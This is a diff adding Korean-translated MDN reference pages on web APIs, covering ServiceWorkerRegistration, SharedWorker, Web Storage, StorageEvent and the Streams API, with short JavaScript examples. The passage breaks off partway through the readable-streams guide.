The lifetime of a service worker registration is beyond that of the ServiceWorkerRegistration objects that represent them within the lifetime of their corresponding service worker clients. The browser maintains a persistent list of active ServiceWorkerRegistration objects.

+ +
+

Note: This feature is available in Web Workers.

+
+ +

Properties

+ +

Also implements properties from its parent interface, {{domxref("EventTarget")}}.

+ +
+
{{domxref("ServiceWorkerRegistration.scope")}} {{readonlyinline}}
+
Returns a unique identifier for a service worker registration. This must be on the same origin as the document that registers the {{domxref("ServiceWorker")}}.
+
{{domxref("ServiceWorkerRegistration.installing")}} {{readonlyinline}}
+
Returns a service worker whose state is installing. This is initially set to null.
+
{{domxref("ServiceWorkerRegistration.waiting")}} {{readonlyinline}}
+
Returns a service worker whose state is waiting. This is initially set to null.
+
{{domxref("ServiceWorkerRegistration.active")}} {{readonlyinline}}
+
Returns a service worker whose state is either activating or activated. This is initially set to null. An active worker will control a {{domxref("ServiceWorkerClient")}} if the client's URL falls within the scope of the registration (the scope option set when {{domxref("ServiceWorkerContainer.register")}} is first called.)
+
{{domxref("ServiceWorkerRegistration.navigationPreload")}} {{readonlyinline}}
+
Returns the instance of {{domxref("NavigationPreloadManager")}} associated with the current service worker registration.
+
{{domxref("ServiceWorkerRegistration.pushManager")}} {{readonlyinline}}
+
Returns a reference to the {{domxref("PushManager")}} interface for managing push subscriptions including subscribing, getting an active subscription, and accessing push permission status.
+
{{domxref("ServiceWorkerRegistration.sync")}} {{non-standard_inline}} {{readonlyinline}} 
+
Returns a reference to the {{domxref("SyncManager")}} interface, which manages background synchronization processes.
+
+ +

Unimplemented properties

+ +
+
{{domxref("serviceWorkerRegistration.periodicSync")}} {{non-standard_inline}} {{readonlyinline}}
+
Returns a reference to the {{domxref("PeriodicSyncManager")}} interface, which manages periodic background synchronization processes. This was mentioned as an idea in the SW explainer at some point, but as yet has not been implemented anywhere.
+
+ +

Event handlers

+ +
+
{{domxref("ServiceWorkerRegistration.onupdatefound")}} {{readonlyinline}}
+
An EventListener property called whenever an event of type updatefound is fired; it is fired any time the {{domxref("ServiceWorkerRegistration.installing")}} property acquires a new service worker.
+
+ +

Methods

+ +

Also implements methods from its parent interface, {{domxref("EventTarget")}}.

+ +
+
{{domxref("ServiceWorkerRegistration.getNotifications()")}}
+
Returns a {{jsxref("Promise")}} that resolves to an array of {{domxref("Notification")}} objects.
+
{{domxref("ServiceWorkerRegistration.showNotification()")}}
+
Displays the notification with the requested title.
+
{{domxref("ServiceWorkerRegistration.update()")}}
+
Checks the server for an updated version of the service worker without consulting caches.
+
{{domxref("ServiceWorkerRegistration.unregister()")}}
+
Unregisters the service worker registration and returns a {{jsxref("Promise")}}. The service worker will finish any ongoing operations before it is unregistered.
+
+ +

Examples

+ +

In this example, the code first checks whether the browser supports service workers and if so registers one. Next, it adds and updatefound event in which it uses the service worker registration to listen for further changes to the service worker's state. If the service worker hasn't changed since the last time it was registered, than the updatefound event will not be fired.

+ +
if ('serviceWorker' in navigator) {
+  navigator.serviceWorker.register('/sw.js')
+  .then(function(registration) {
+    registration.addEventListener('updatefound', function() {
+      // If updatefound is fired, it means that there's
+      // a new service worker being installed.
+      var installingWorker = registration.installing;
+      console.log('A new service worker is being installed:',
+        installingWorker);
+
+      // You can listen for changes to the installing service worker's
+      // state via installingWorker.onstatechange
+    });
+  })
+  .catch(function(error) {
+    console.log('Service worker registration failed:', error);
+  });
+} else {
+  console.log('Service workers are not supported.');
+}
+ +

Specifications

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Service Workers', '#service-worker-registration-obj', 'ServiceWorkerRegistration')}}{{Spec2('Service Workers')}}Initial definition.
{{SpecName('Push API', '#widl-ServiceWorkerRegistration-pushManager', 'PushManager')}}{{Spec2('Push API')}}Adds the {{domxref("PushManager","pushManager")}} property.
{{SpecName('Web Notifications')}}{{Spec2('Web Notifications')}}Adds the {{domxref("ServiceWorkerRegistration.showNotification()","showNotification()")}} method and the {{domxref("ServiceWorkerRegistration.getNotifications()","getNotifications()")}} method.
{{SpecName('Background Sync')}}{{Spec2('Background Sync')}}Adds the {{domxref("ServiceWorkerRegistration.sync","sync")}} property.
+ +

Browser compatibility

+ + + +

{{Compat("api.ServiceWorkerRegistration")}}

+ +

See also

+ + diff --git a/files/ko/web/api/serviceworkerregistration/installing/index.html b/files/ko/web/api/serviceworkerregistration/installing/index.html new file mode 100644 index 0000000000..29a45b8b81 --- /dev/null +++ b/files/ko/web/api/serviceworkerregistration/installing/index.html @@ -0,0 +1,54 @@ +--- +title: ServiceWorkerRegistration.installing +slug: Web/API/ServiceWorkerRegistration/installing +translation_of: Web/API/ServiceWorkerRegistration/installing +--- +
{{SeeCompatTable}}{{APIRef("Service Workers API")}}
+ +

{{domxref("ServiceWorkerRegistration")}} 인터페이스의 installing 속성은 {{domxref("ServiceWorker.state")}} 가 installing 인 서비스 워커를 반환한다. 이 속성은 null 로 초기 설정되어 있다.

+ +
+

Note: 이 기능은 Web Workers 에서 사용 가능하다.

+
+ +

Syntax

+ +
sw = ServiceWorker.installing
+
+ +

Value

+ +

현재 installing 상태에 있다면, {{domxref("ServiceWorker")}} 객체

+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Service Workers', '#service-worker-registration-installing-attribute', 'ServiceWorkerRegistration.installing')}}{{Spec2('Service Workers')}}Initial definition.
+ +

Browser compatibility

+ + + +

{{Compat("api.ServiceWorkerRegistration.installing")}}

+ +

See also

+ + diff --git a/files/ko/web/api/serviceworkerregistration/navigationpreload/index.html b/files/ko/web/api/serviceworkerregistration/navigationpreload/index.html new file mode 100644 index 0000000000..610e80b8a8 --- /dev/null +++ b/files/ko/web/api/serviceworkerregistration/navigationpreload/index.html @@ -0,0 +1,39 @@ +--- +title: ServiceWorkerRegistration.navigationPreload +slug: Web/API/ServiceWorkerRegistration/navigationPreload +translation_of: Web/API/ServiceWorkerRegistration/navigationPreload +--- +

{{SeeCompatTable}}{{APIRef("Service Workers API")}}

+ +

{{domxref("ServiceWorkerRegistration")}} 인터페이스의  navigationPreload 읽기 전용 속성은 현재의 서비스 워커 등록와 관련된 {{domxref("NavigationPreloadManager")}} 를 반환한다.

+ +

Syntax

+ +
var navigationPreloadManager = serviceWorkerRegistration.navigationPreload
+ +

Value

+ +

{{domxref("NavigationPreloadManager")}} 의 객체.

+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Service Workers','#service-worker-registration-navigationpreload','navigationPreload')}}{{Spec2('Service Workers')}}Initial definition.
+ +

Browser Compatibility

+ + + +

{{Compat("api.ServiceWorkerRegistration.navigationPreload")}}

diff --git a/files/ko/web/api/sharedworker/index.html b/files/ko/web/api/sharedworker/index.html new file mode 100644 index 0000000000..f155b9f03a --- /dev/null +++ b/files/ko/web/api/sharedworker/index.html @@ -0,0 +1,105 @@ +--- +title: SharedWorker +slug: Web/API/SharedWorker +translation_of: Web/API/SharedWorker +--- +
{{APIRef("Web Workers API")}}
+ +

SharedWorker 인터페이스는 윈도우 창이나 iframe, 워커등의 다른 브라우징 컨텍스트에서도 접근이 가능한 특정 종류의 워커를 의미합니다. 기존의 다른 종류의 워커들과 다른 전역 스코프를 갖는 인터페이스를 구현합니다. {{domxref("SharedWorkerGlobalScope")}}.

+ +
+

참고 : SharedWorker 가 몇개의 다른 브라우징 컨텍스트에서 접근이 가능하면, 그 브라우징 컨텍스트들은 모두 정확히 같은 오리진을 공유해야 합니다. (같은 프로토콜, 호스트, 포트 등)

+
+ +

생성자

+ +
+
{{domxref("SharedWorker.SharedWorker", "SharedWorker()")}}
+
특정 URL에서 스크립트를 실행하는 shared web worker를 생성합니다.
+
+ +

속성

+ +

{{domxref("EventTarget")}} 의 속성들을 상속 받습니다. 그리고 {{domxref("AbstractWorker")}} 의 속성들을 구현할 수 있습니다.

+ +
+
{{domxref("AbstractWorker.onerror")}}
+
워커에서 {{domxref("ErrorEvent")}} 타입의 에러가 발생했을 때 호출되는는 {{domxref("EventListener")}}
+
{{domxref("SharedWorker.port")}} {{readonlyInline}}
+
shared worker를 제어하거나 통신하기 위해 사용되는 {{domxref("MessagePort")}} 객체를 반환
+
+ +

메서드

+ +

{{domxref("EventTarget")}} 의 속성들을 상속 받습니다. 그리고 {{domxref("AbstractWorker")}} 의 속성들을 구현할 수 있습니다.

+ +

예제

+ +

Basic shared worker example (run shared worker) 를 보시면 2개의 HTML 페이지가 있습니다. 각각 간단한 계산을 위해 자바스크립트를 사용합니다. 각기 다른 스크립트가 계산을 위해 같은 워커 파일을 사용합니다 — 두 개 페이지가 모두 다른 윈도우창에서 실행되더라도 같은 워커에 접근할 수 있습니다.

+ +

아래 코드 스니펫은 {{domxref("SharedWorker.SharedWorker", "SharedWorker()")}} 생성자를 이용해 SharedWorker 객체를 생성합니다. 두 스크립트 모두 아래를 포함합니다.

+ +
var myWorker = new SharedWorker("worker.js");
+
+ +

두 스크립트는 {{domxref("SharedWorker.port")}} 속성으로 생성한 {{domxref("MessagePort")}} 객체를 통해 워커에 접근할 수 있습니다. addEventListener 를 이용하여 onmessage 가 추가되면, port는 start() 메서드를 이용하여 수동으로 시작할 수 있습니다.

+ +
myWorker.port.start();
+ +

포트가 시작되면, 양 스크립트는 워커에 메시지를 보내고 port.postMessage()port.onmessage 를 각각 이용하여 메시지를 처리합니다.

+ +
first.onchange = function() {
+    myWorker.port.postMessage([first.value,second.value]);
+    console.log('Message posted to worker');
+  }
+
+  second.onchange = function() {
+    myWorker.port.postMessage([first.value,second.value]);
+    console.log('Message posted to worker');
+  }
+
+  myWorker.port.onmessage = function(e) {
+    result1.textContent = e.data;
+    console.log('Message received from worker');
+  }
+ +

워커에서 {{domxref("SharedWorkerGlobalScope.onconnect")}} 핸들러를 이용하여 위에 언급된 포트에 접속할 수 있습니다. 워커에 연관되어 있는 포트는 {{event("connect")}} 이벤트 포트 속성에 접근할 수 있습니다 — 그리고나서 {{domxref("MessagePort")}} start() 메서드로 포트를 시작하고, onmessage 핸들러로 메인쓰레드에서 받은 메시지를 처리합니다.

+ +
onconnect = function(e) {
+    var port = e.ports[0];
+
+    port.addEventListener('message', function(e) {
+      var workerResult = 'Result: ' + (e.data[0] * e.data[1]);
+      port.postMessage(workerResult);
+    });
+
+    port.start(); // Required when using addEventListener. Otherwise called implicitly by onmessage setter.
+}
+ +

명세

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', "#sharedworker", "SharedWorker")}}{{Spec2('HTML WHATWG')}}No change from {{SpecName("Web Workers")}}.
+ +

브라우저 호환성

+ +

{{Compat("api.SharedWorker")}}

+ +

같이 보기

+ + diff --git a/files/ko/web/api/storage/index.html b/files/ko/web/api/storage/index.html new file mode 100644 index 0000000000..26ee7125ad --- /dev/null +++ b/files/ko/web/api/storage/index.html @@ -0,0 +1,107 @@ +--- +title: Storage +slug: Web/API/Storage +tags: + - API + - Interface + - Reference + - Storage + - Web Storage +translation_of: Web/API/Storage +--- +
{{APIRef("Web Storage API")}}
+ +

Web Storage APIStorage 인터페이스는 특정 도메인을 위한 세션 저장소 또는 로컬 저장소의 접근 경로로서 데이터를 추가하고 수정하거나 삭제할 수 있습니다.

+ +

도메인의 세션 저장소를 수정해야 하면 {{domxref("Window.sessionStorage")}}에, 로컬 저장소를 수정해야 하면 {{domxref("Window.localStorage")}}에 접근하세요.

+ +

속성

+ +
+
{{domxref("Storage.length")}} {{readonlyInline}}
+
Storage 객체에 저장된 데이터 항목의 수를 반환합니다.
+
+ +

메서드

+ +
+
{{domxref("Storage.key()")}}
+
주어진 숫자 n에 대하여 저장소의 n번째 항목 키를 반환합니다.
+
+ +
+
{{domxref("Storage.getItem()")}}
+
주어진 키에 연결된 값을 반환합니다.
+
{{domxref("Storage.setItem()")}}
+
키가 저장소에 존재하는 경우 값을 재설정합니다. 존재하지 않으면 키와 값을 저장소에 추가합니다.
+
{{domxref("Storage.removeItem()")}}
+
주어진 키를 저장소에서 제거합니다.
+
{{domxref("Storage.clear()")}}
+
저장소의 모든 키를 저장소에서 제거합니다.
+
+ +

예제

+ +

아래 코드에서는 localStorage에 접근해 Storage 객체를 접근합니다. 우선 !localStorage.getItem('bgcolor')를 사용해 데이터가 저장소에 존재하는지 알아냅니다. 데이터가 있으면 {{domxref("Storage.getItem()")}}으로 회수한 후 setStyles()로 페이지 스타일을 바꿉니다. 데이터가 없으면 populateStorage() 함수를 호출하고, 그 안에서는 {{domxref("Storage.setItem()")}}을 통해 데이터를 설정합니다. 그 후에는 동일하게 setStyles()를 사용합니다.

+ +
if(!localStorage.getItem('bgcolor')) {
+  populateStorage();
+} else {
+  setStyles();
+}
+
+function populateStorage() {
+  localStorage.setItem('bgcolor', document.getElementById('bgcolor').value);
+  localStorage.setItem('font', document.getElementById('font').value);
+  localStorage.setItem('image', document.getElementById('image').value);
+}
+
+function setStyles() {
+  var currentColor = localStorage.getItem('bgcolor');
+  var currentFont = localStorage.getItem('font');
+  var currentImage = localStorage.getItem('image');
+
+  document.getElementById('bgcolor').value = currentColor;
+  document.getElementById('font').value = currentFont;
+  document.getElementById('image').value = currentImage;
+
+  htmlElem.style.backgroundColor = '#' + currentColor;
+  pElem.style.fontFamily = currentFont;
+  imgElem.setAttribute('src', currentImage);
+}
+ +
+

참고: 실제 작동 예제는 저희의 Web Storage Demo에서 볼 수 있습니다.

+
+ +

명세

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', '#storage', 'Storage')}}{{Spec2('HTML WHATWG')}}
+ +

브라우저 호환성

+ + + +

{{Compat("api.Storage")}}

+ +

같이 보기

+ + diff --git a/files/ko/web/api/storage/key/index.html b/files/ko/web/api/storage/key/index.html new file mode 100644 index 0000000000..7583b6e49f --- /dev/null +++ b/files/ko/web/api/storage/key/index.html @@ -0,0 +1,74 @@ +--- +title: Storage.key() +slug: Web/API/Storage/key +tags: + - 로컬 스토리지 + - 세션 스토리지 + - 웹 스토리지 +translation_of: Web/API/Storage/key +--- +

{{APIRef("Web Storage API")}}

+ +

{{domxref("Storage")}} 인터페이스의 key() 메서드는 숫자 n이 전달되면 Storage의 n번째 key 이름을 반환합니다. key의 순서는 user-agent에 의해 정의되므로 이 순서에 의존성이 있어서는 안됩니다.

+ +

문법

+ +
var aKeyName = storage.key(index);
+ +

Parameters

+ +
+
index
+
반환받으려하는 key의 번호를 나타내는 정수. 이 정수는 0부터 시작하는 인덱스입니다.
+
+ +

Return value

+ +

key 이름을 포함한 {{domxref("DOMString")}} 입니다.

+ +

예제

+ +

다음 함수는 localStorage 의 key들을 반복합니다.

+ +
function forEachKey(callback) {
+  for (var i = 0; i < localStorage.length; i++) {
+    callback(localStorage.key(i));
+  }
+}
+ +

다음 함수는 localStorage 의 key들을 반복하고 각 key에 설정된 값들을 가져옵니다.

+ +
for(var i =0; i < localStorage.length; i++){
+   console.log(localStorage.getItem(localStorage.key(i)));
+}
+ +
+

Note: 실제로 쓰이는 예제를 보려면 우리의 Web Storage Demo 를 참조하세요.

+
+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', 'webstorage.html#dom-storage-key', 'Storage.key')}}{{Spec2('HTML WHATWG')}} 
+ +

브라우저 호환성

+ + + +

{{Compat("api.Storage.key")}}

+ +

See also

+ +

Using the Web Storage API

diff --git a/files/ko/web/api/storage/length/index.html b/files/ko/web/api/storage/length/index.html new file mode 100644 index 0000000000..53b092b939 --- /dev/null +++ b/files/ko/web/api/storage/length/index.html @@ -0,0 +1,68 @@ +--- +title: Storage.length +slug: Web/API/Storage/length +tags: + - API + - Property + - Read-only + - Reference + - Storage + - Web Storage +translation_of: Web/API/Storage/length +--- +
{{APIRef("Web Storage API")}}
+ +

{{domxref("Storage")}} 인터페이스의 length 읽기 전용 속성은 Storage 객체에 저장된 데이터 항목의 수를 반환합니다.

+ +

구문

+ +
length = storage.length;
+ +

반환 값

+ +

Storage 객체에 저장된 항목의 수.

+ +

예제

+ +

다음의 함수는 현재 도메인의 로컬 저장소에 세 개의 항목을 추가한 후 저장소 항목의 수를 반환합니다.

+ +
function populateStorage() {
+  localStorage.setItem('bgcolor', 'yellow');
+  localStorage.setItem('font', 'Helvetica');
+  localStorage.setItem('image', 'cats.png');
+
+  return localStorage.length; // Should return 3
+}
+ +
+

참고: 실제 사용 예제를 보시려면 저희의 Web Storage Demo를 방문하세요.

+
+ +

명세

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', 'webstorage.html#dom-storage-length', 'Storage.length')}}{{Spec2('HTML WHATWG')}}
+ +

브라우저 호환성

+ + + +

{{Compat("api.Storage.length")}}

+ +

같이 보기

+ + diff --git a/files/ko/web/api/storage/removeitem/index.html b/files/ko/web/api/storage/removeitem/index.html new file mode 100644 index 0000000000..e9afd96922 --- /dev/null +++ b/files/ko/web/api/storage/removeitem/index.html @@ -0,0 +1,134 @@ +--- +title: Storage.removeItem() +slug: Web/API/Storage/removeItem +tags: + - 메소드 + - 스토리지 + - 웹 스토리지 + - 참고 +translation_of: Web/API/Storage/removeItem +--- +

{{APIRef("Web Storage API")}}

+ +

{{domxref("Storage")}} 인터페이스의 removeItem() 메소드에 키 이름을 파라미터로 전달하면 스토리지에서 해당 키를 삭제합니다.

+ +

문법

+ +
storage.removeItem(keyName);
+ +

파라미터

+ +
+
keyName
+
삭제하고자 하는 키 이름({{domxref("DOMString")}}).
+
+ +

반환값

+ +

반환값 없음.

+ +

예제

+ +

아래의 함수는 로컬 스토리지에 3 개의 데이터 아이템을 생성한 후 그 중 하나를 삭제합니다.

+ +
function populateStorage() {
+  localStorage.setItem('bgcolor', 'red');
+  localStorage.setItem('font', 'Helvetica');
+  localStorage.setItem('image', 'myCat.png');
+
+  localStorage.removeItem('image');
+}
+ +
+

: 실 사용 예제는 Web Storage Demo를 참고하시기 바랍니다.

+
+ +

사양

+ + + + + + + + + + + + + + +
사양상태비고
{{SpecName('Web Storage', '#dom-storage-removeitem', 'removeItem()')}}{{Spec2('Web Storage')}} 
+ +

브라우저 호환성

+ +

{{ CompatibilityTable() }}

+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
localStorage4{{CompatVersionUnknown}}3.5810.504
sessionStorage5{{CompatUnknown}}2810.504
+
+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidEdgeFirefox Mobile (Gecko)IE PhoneOpera MobileSafari Mobile
Basic support2.1{{CompatVersionUnknown}}{{ CompatUnknown }}811iOS 3.2
+
+ +

모든 브라우저가 다양한 지원 수준의 localStorage와 sessionStorage를 제공합니다. 이 곳에서 다양한 브라우저에서의 storage 지원과 관련된 상세항 사항을 확인할 수 있습니다.

+ +
+

주: iOS 5.1부터 모바일 Safari는 localStorage 데이터를 캐시 폴더에 저장하며, 공간 부족 등의 사유로 OS의 요청에 의해 가끔씩 지워질 수 있습니다.

+
+ +

같이 보기

+ +

Web Storage API 사용하기

diff --git a/files/ko/web/api/storageevent/index.html b/files/ko/web/api/storageevent/index.html new file mode 100644 index 0000000000..2ab61d0509 --- /dev/null +++ b/files/ko/web/api/storageevent/index.html @@ -0,0 +1,79 @@ +--- +title: StorageEvent +slug: Web/API/StorageEvent +tags: + - API + - Event + - Reference + - StorageEvent + - Web Storage + - Web Storage API +translation_of: Web/API/StorageEvent +--- +
{{APIRef("Web Storage API")}}
+ +

StorageEvent는 접근 가능한 저장소가 다른 문서에서 변경될 경우 {{domxref("window")}}로 전송됩니다.

+ +

{{InheritanceDiagram}}

+ +

특성

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
특성유형설명
key{{DOMxRef("DOMString")}}변경된 키. 저장소가 clear() 메서드로 인해 바뀐 경우 {{jsxref("null")}}입니다. 읽기 전용.
newValue{{DOMxRef("DOMString")}}key의 새로운 값. 저장소가 clear() 메서드로 바뀐 경우, 또는 변경점이 key를 저장소에서 삭제한 것인 경우 newValuenull입니다. 읽기 전용.
oldValue{{DOMxRef("DOMString")}}key의 이전 값. key를 저장소에 새로 추가한 경우 이전 값이 존재하지 않으므로 oldValuenull입니다. 읽기 전용.
storageArea{{Interface("nsIDOMStorage")}}변경된 Storage 객체입니다. 읽기 전용.
url{{DOMxRef("USVString")}}key를 바꾼 문서의 URL입니다. 읽기 전용.
+ +

명세

+ + + + + + + + + + + + + + + + +
SpecificationStatucComment
{{SpecName("HTML WHATWG", "webstorage.html#the-storageevent-interface", "The StorageEvent interface")}}{{Spec2("HTML WHATWG")}}
+ +

브라우저 호환성

+ + + +

{{Compat("api.StorageEvent")}}

diff --git a/files/ko/web/api/streams_api/index.html b/files/ko/web/api/streams_api/index.html new file mode 100644 index 0000000000..96009dad26 --- /dev/null +++ b/files/ko/web/api/streams_api/index.html @@ -0,0 +1,152 @@ +--- +title: Streams API +slug: Web/API/Streams_API +tags: + - API + - Experimental + - Landing + - Reference + - Streams + - TopicStub +translation_of: Web/API/Streams_API +--- +
{{SeeCompatTable}}{{APIRef("Streams")}}
+ +

Streams API는 Javascript를 이용해 네트워크를 통해 전송된 데이터 스트림에 접근하여 원하는 대로 처리가 가능한 API를 제공합니다.

+ +

개념과 사용법

+ +

Streaming은 네트워크를 통해 받은 리소스를 작은 조각으로 나누어, Bit 단위로 처리합니다. 이는 브라우저가 수신한 자원을 웹페이지에 표현할 때 주로 사용하는 방법입니다. — Video buffer는 재생되기 전 천천히 채워지며 가끔 이미지도 천천히 로딩되는 것을 보실 수 있을 겁니다..

+ +

하지만 Javascript에서는 지금까지 불가능했습니다. 이전에는 (비디오나 텍스트 파일 등의) 리소스를 처리하기 위해서 우선, 전체 파일을 다운로드 받은 후 알맞은 포맷으로 파싱된 후에야, 전송된 전체 데이터를 처리할 수 있었습니다.

+ +

With Javascript에 Stream이 도입된 후에는 모든 것이 바뀌었는데, 이제 Buffer, String 또는 blob 없이도 Javascript를 통해 Raw Data를 비트 단위로 처리할 수 있습니다.

+ +

+ +

장점은 또 있습니다 — Stream의 시작 또는 종료를 감지할 수 있으며, 여러 stream을 엮어서 에러를 처리하거나 필요한 경우 stream을 취소할 수도 있습니다. 또한 stream이 읽어들이는 속도에 따라 반응할 수도 있지요.

+ +

Stream의 주요한 기본 사용법은 응답 데이터를 stream으로 만드는 것입니다. fetch request를 통해 정상적으로 전송된 응답 {{domxref("Body")}}는 {{domxref("ReadableStream")}}로 표현 가능합니다. 또한 {{domxref("ReadableStream.getReader()")}}를 통해 Reader 객체를 얻어 데이터를 읽을 수도 있으며, {{domxref("ReadableStream.cancel()")}}로 Stream을 취소하는 것 등이 가능합니다.

+ +

조금 더 복잡한 사용법은 {{domxref("ReadableStream.ReadableStream", "ReadableStream()")}} 생성자를 통해 사용자가 직접 Stream을 생성하는 것입니다. 예를 들자면 service worker에 전달할 데이터를 Stream으로 만들 수도 있습니다.

+ +

{{domxref("WritableStream")}}을 사용하면 Stream에 데이터를 쓰는 것도 가능합니다..

+ +
+

Note: Streams API concepts, Using readable streams,  Using writable streams — 페이지에서 stream에 관한 더 자세한 이론과 예제를 찾을 수 있습니다.

+
+ +

스트림 인터페이스

+ +

읽기 스트림(Readable streams)

+ +
+
{{domxref("ReadableStream")}}
+
데이터 읽기 스트림을 나타냅니다. Fetch API의 결과 스트림이나 개발자가 정의한 스트림(예, 커스텀 {{domxref("ReadableStream.ReadableStream", "ReadableStream()")}} 클래스)등을 핸들링할 수 있습니다.
+
{{domxref("ReadableStreamDefaultReader")}}
+
네트워크(예, fetch 요청)등에서 전달된 스트림 데이터를 처리하는 기본 Reader를 반환합니다.
+
{{domxref("ReadableStreamDefaultController")}}
+
{{domxref("ReadableStream")}}의 상태나 내부 큐를 컨트롤 할 수 있는 기본 컨트롤러를 반환합니다. 기본 컨트롤러는 Byte 스트림 외의 스트림에만 해당합니다.
+
+ +

쓰기 스트림(writable streams)

+ +
+
{{domxref("WritableStream")}}
+
목적지 스트림에 데이터를 쓰기 위한 표준 추상 인터페이스를 제공하는 객체입니다. 이 객체는 내장 백프레셔와 큐잉을 구현하고 있습니다.
+
{{domxref("WritableStreamDefaultWriter")}}
+
쓰기 스트림에 데이터 조각들을 쓰기 위한 기본 Writer 객체를 반환한다.
+
{{domxref("WritableStreamDefaultController")}}
+
{{domxref("WritableStream")}} 상태를 컨트롤하는 기본 컨트롤러를 반환한다. WritableStream을 생성하면 해당 스트림을 컨트롤 하기 위해 WritableStreamDefaultController 인스턴스가 내부적으로 생성된다.
+
+ +

관련 스트림 API와 기능

+ +
+
{{domxref("ByteLengthQueuingStrategy")}}
+
스트림을 생성할 때 기본으로 사용 할 내장 byte length queuing strategy를 제공합니다.
+
{{domxref("CountQueuingStrategy")}}
+
스트림을 생성할 때 기본적으로 사용 할 내장 chunk counting queuing strategy를 제공합니다..
+
+ +

외부 API 확장

+ +
+
{{domxref("Request")}}
+
새 Request 객체가 생성될 때 RequestInit 딕셔너리의 body에 {{domxref("ReadableStream")}} 를 전달할 수 있습니다. 이 Request는 {{domxref("WindowOrWorkerGlobalScope.fetch()")}} 에 전달되에서 스트림을 fetch하는데 사용됩니다.
+
{{domxref("Body")}}
+
fetch request 성공 시 기본적으로 {{domxref("Body")}} {{domxref("ReadableStream")}}로 제공되며, reader를 붙여 데이터를 읽어들일 수 있습니다.
+
+ +

ByteStream 관련 인터페이스

+ +
+

중요: 아래 항목들은 아직 구현된 곳이 없으며, 스펙의 세부 사항이 구현할 수 있을 만큼 충분한 지 논의가 진행중입니다. 추후 변경될 수 있습니다.

+
+ +
+
{{domxref("ReadableStreamBYOBReader")}}
+
개발자가 직접 제공하여 stream data를 읽을 수 있는 BYOB ("bring your own buffer") reader를 표현합니다. (예 커스텀 {{domxref("ReadableStream.ReadableStream", "ReadableStream()")}} 생성자).
+
{{domxref("ReadableByteStreamController")}}
+
{{domxref("ReadableStream")}}의 상태와 내부 큐를 컨트롤 하는 컨트롤러 객체를 표현합니다. Byte stream 컨트롤러는 byte stream을 위한 컨트롤러입니다.
+
{{domxref("ReadableStreamBYOBRequest")}}
+
{{domxref("ReadableByteStreamController")}}의 request를 표현합니다.
+
+ +

예제

+ +

Streams API 문서와 참조할 만한 예제를 함께 작성하였습니다 — mdn/dom-examples/streams 를 참조하세요. 예제는 아래와 같습니다.:

+ + + +

다른 개발자의 예제:

+ + + +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Streams')}}{{Spec2('Streams')}}최초 정의.
+ +

브라우저 호환성

+ + + +

ReadableStream

+ +

{{Compat("api.ReadableStream")}}

+ +

WritableStream

+ +

{{Compat("api.WritableStream")}}

+ +

더 보기

+ + diff --git a/files/ko/web/api/streams_api/using_readable_streams/index.html b/files/ko/web/api/streams_api/using_readable_streams/index.html new file mode 100644 index 0000000000..719cd6653f --- /dev/null +++ b/files/ko/web/api/streams_api/using_readable_streams/index.html @@ -0,0 +1,317 @@ +--- +title: Using readable streams +slug: Web/API/Streams_API/Using_readable_streams +translation_of: Web/API/Streams_API/Using_readable_streams +--- +
{{apiref("Streams")}}
+ +

자바스크립트 개발자로서, 프로그래밍적으로 네트워크로부터 받은 데이터 스트림을 Chunk단위로 읽고 다루는 것은 매우 유용합니다! 그러나 어떻게 스트림 API의 Readable stream을 잘 사용할수 있을까요. 이번 내용은 그것을 설명하고 있습니다.

+ +
+

Note: This article assumes that you understand the use cases of readable streams, and are aware of the high-level concepts. If not, we suggest that you first read the Streams concepts and usage overview and dedicated Streams API concepts article, then come back.

+
+ +
+

Note: If you are looking for information on writable streams try Using writable streams instead.

+
+ +

Browser support

+ +

파이어폭스 65+ 와 크롬 42+ 에서 Fetch Body 객체를 스트림으로서 사용 할수 있고, custom readable 스트림을 만들수 있습니다. 현재 Pipe chains의 경우 오직 크롬에서만 지원하고 있고 그 기능은 변경될 수 있습니다.

+ +

Finding some examples

+ +

이번 내용과 관련한 많은 예제를 dom-examples/streams 에서 살펴볼수 있습니다. 이곳에서 모든 소스를 확인할수 있을 뿐만 아니라 예제 사이트 링크도 확인할수 있습니다.

+ +

Consuming a fetch as a stream

+ +

Fetch API 는 네트워크를 통해 리소스를 가져오는 XHR의 현대적인 대안책 입니다. Fetch API의 수많은 이점 가운데 가장 훌륭한점은 최근 브라우저들이 Fetch Response를 Readable 스트림으로 이용할수 있게 하는 기능을 추가한것 입니다.

+ +

{{domxref("Body")}} 믹스인은 {{domxref("Body.body","body")}} 속성을 포함하고 있습니다. 그리고 이 {{domxref("Body.body","body")}} 속성은 {{domxref("Body.body","body")}}의 내용을 Readable 스트림으로 노출시키는 간단한 getter 입니다. 이 {{domxref("Body")}} 믹스인은 {{domxref("Request")}}와 {{domxref("Response")}} 인터페이스로부터 구현 되며, 따라서 두 경우 모두 사용 할수 있습니다. 다만 Response body의 스트림을 사용하는 것이 조금더 명확합니다.

+ +

우리의 Simple stream pump예시에서 보여주듯(see it live also), Readable 스트림을 노출시키기 위해서는 단지 Response의 body 속성에 접근하기만 하면 됩니다.

+ +
// 오리지널 이미지를 Fetch 함
+fetch('./tortoise.png')
+// body 를 ReadableStream으로 가공함
+.then(response => response.body)
+
+ +

이것은 우리에게 {{domxref("ReadableStream")}}  객체를 제공해 줍니다.

+ +

Attaching a reader

+ +

이제 우리는 스트림화된 body를 가지고 있으며, 이 스트림을 읽기 위해서는 리더기를 붙여야 합니다. 이 작업은 {{domxref("ReadableStream.getReader()")}} 메서드를 사용하여 처리합니다.

+ +
// 오리지널 이미지를 Fetch 함
+fetch('./tortoise.png')
+// body 를 ReadableStream으로 가공함
+.then(response => response.body)
+.then(body => {
+  const reader = body.getReader();
+ +

